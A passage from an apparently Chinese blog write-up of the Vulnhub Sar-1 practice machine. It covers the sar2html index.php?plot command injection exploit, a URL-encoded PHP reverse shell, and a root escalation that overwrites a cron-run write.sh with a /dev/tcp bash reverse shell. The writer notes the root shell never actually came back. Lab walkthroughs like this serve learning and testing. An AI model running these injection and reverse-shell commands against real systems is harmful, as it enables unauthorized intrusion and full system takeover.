当前位置:网站首页>Vulnhub:Sar-1
Vulnhub:Sar-1
2022-08-04 05:27:00 【Ki10Moc】
信息收集
锁靶机IP
只开放了80端口
目录扫描
robots.txt下记录的网址
根据暴露出的信息试着找下有没有exp
因为是php站点,这里就使用第二个进行测试
└─# batcat 47204.txt
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: 47204.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ # Exploit Title: sar2html Remote Code Execution
2 │ # Date: 01/08/2019
3 │ # Exploit Author: Furkan KAYAPINAR
4 │ # Vendor Homepage:https://github.com/cemtan/sar2html
5 │ # Software Link: https://sourceforge.net/projects/sar2html/
6 │ # Version: 3.2.1
7 │ # Tested on: Centos 7
8 │
9 │ In web application you will see index.php?plot url extension.
10 │
11 │ http://<ipaddr>/index.php?plot=;<command-here> will execute
12 │ the command you entered. After command injection press "select # host" then your command's
13 │ output will appear bottom side of the scroll screen.
访问网站的index.php然后传参即可rce
反弹shell
这里选择php反弹shell
http://192.168.30.136/sar2HTML/index.php?plot=;php%20-r%20%27%24sock%3Dfsockopen%28%22192.168.30.128%22%2C4444%29%3Bexec%28%22bash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27
url编码一下
因为是ubuntu的靶机,所有python反弹应该也是可以的
然后用脚本枚举提权
给一下权限
chmod 777 linpeas.sh
其中发现一段sudo权限
cat finally.sh
#!/bin/sh
./write.sh
使用计划任务提权
发现finally在以sudo的权限运行write的脚本
那这里我们如果重写write的内容,就可以尝试反弹一个root的shell
write.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.30.128/5678 0>&1
该脚本位每5分钟就执行一次
所以上传完重写的write后开个端口监听等着就完事了
拿到root后就cat root.txt即可
这里我一直等不到shell出来,就没有截图了
靶机整体简单,就是 www-data->root这里需要理解一下,执行的脚本是绕过了love用户直接拿到root。
边栏推荐
猜你喜欢
Wwise入门和实战
解决JDBC在web工程中无法获取配置文件
实际开发中,如何实现复选框的全选和不选
Cannot read properties of null (reading 'insertBefore')
4.3 基于注解的声明式事务和基于XML的声明式事务
EntityComponentSystemSamples学习笔记
Embedded system driver primary [4] - under the basis of character device driver _ concurrency control
8.03 Day34---BaseMapper query statement usage
Can 't connect to MySQL server on' localhost3306 '(10061) simple solutions
TensorRT例程解读之语义分割demo
随机推荐
自己学习爬虫写的基础小函数
js 基础学习笔记
4.2 声明式事务概念
Canal mysql data synchronization
MySQL日志篇,MySQL日志之binlog日志,binlog日志详解
对象存储-分布式文件系统-MinIO-3:MinIo Client(mc)
Cannot read properties of null (reading ‘insertBefore‘)
谷粒商城-基础篇(项目简介&项目搭建)
个人练习三剑客基础之模仿CSDN首页
PHP解决字符乱码问题(多种编码转换)
JS原型链
Web Basics and Exercises for C1 Certification - My Study Notes
MySQL数据库面试题总结(2022最新版)
C1认证之web基础知识及习题——我的学习笔记
实际开发中,如何实现复选框的全选和不选
MySQL database (basic)
7. Execution of special SQL
Shell(2)数值运算与判断
7.15 Day21---MySQL----Index
程序员也应了解的Unity粒子系统